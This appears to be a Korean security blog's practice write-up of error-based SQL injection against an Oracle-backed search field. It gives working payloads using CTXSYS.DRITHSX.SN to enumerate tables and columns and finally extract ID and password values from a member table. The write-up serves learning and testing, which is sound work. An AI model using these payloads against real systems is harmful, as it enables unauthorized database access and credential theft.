Error-Based SQL Injection


Step 1. ErrorBased SQL Injection을 이용하여 테이블 개수 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(TABLE_NAME) FROM ALL_TABLES))=1--

다음과 같은 쿼리를 입력하면 테이블 개수 확인이 가능하다. CTXSYS.DRITHSX.SN과 같이 Error Based SQL Injection에 취약한 함수 사용이 가능할 경우, 에러 메시지로부터 데이터베이스 정보를 얻을 수 있다.

CTXSYS.DRITHSX.SN을 이용하여 테이블 개수를 에러로 받을 수 있다.

 

Step 2. 테이블 이름 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES) WHERE RNUM=1))=1--
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES) WHERE RNUM=60))=1--

내부에 SELECT TABLE_NAME, ROWNUM as RNUM from ALL_TABLES 쿼리를 이용해서 각각 TABLE_NAME마다 ROWNUM을 붙여 RNUM에 따라 테이블 이름을 출력하는 쿼리다. ROWNUM as RNUMROWNUM RNUM으로 대체하는 것이다.

 

다음과 같이 쿼리를 입력하면 입력하는 RNUM의 번호의 따라 테이블명을 에러로 받을 수 있다.

RNUM을 증가시키다보면 60번째에 LHSMEMBER3이라는 테이블명을 얻을 수 있다.

 

Step 3. 컬럼 개수 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(COLUMN_NAME) FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3'))=1--

LHSMEMBER3” 테이블의 컬럼 개수를 확인하기 위해서 COUNT를 이용하였다.

 

Step 4. 컬럼 이름 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM as RNUM FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3') WHERE RNUM=13))=1--
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM as RNUM FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='LHSMEMBER3') WHERE RNUM=14))=1--

TABLE_NAME을 얻어내는 방법과 같은 방법으로, 다음 쿼리를 이용해서 LHSMEMBER3의 컬럼을 얻어내는 방법이다.

 

RNUM을 바꿔가며 컬럼이름을 확인해보면 13, 14번째에 각각 PW, ID이름을 한 컬럼을 확인할 수 있다.

 

Step 5. 데이터 개수 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT COUNT(ID) FROM LHSMEMBER3))
=1--

COUNT(ID)를 통해서 데이터 개수 확인 가능하다.

 

Step 6. ID, PW 확인

Query
영등포동 8%' AND CTXSYS.DRITHSX.SN(user,(SELECT ID ||', '|| PW FROM (SELECT ID, PW, ROWNUM AS RNUM FROM LHSMEMBER3) WHERE RNUM=1))=1--

다음과 같이 RNUM값을 바꿔가며 ID PW 값을 출력할 수 있다. ||’을 통해서 문자를 서로 연결 할 수 있다. (CONCAT 활용 가능)

'웹 보안 > SQLi' 카테고리의 다른 글

Blind SQL Injection 실습  (0) 2025.05.08
Union SQL Injection 실습  (0) 2025.05.08
SQL Injection(SQLi)  (0) 2025.04.07

+ Recent posts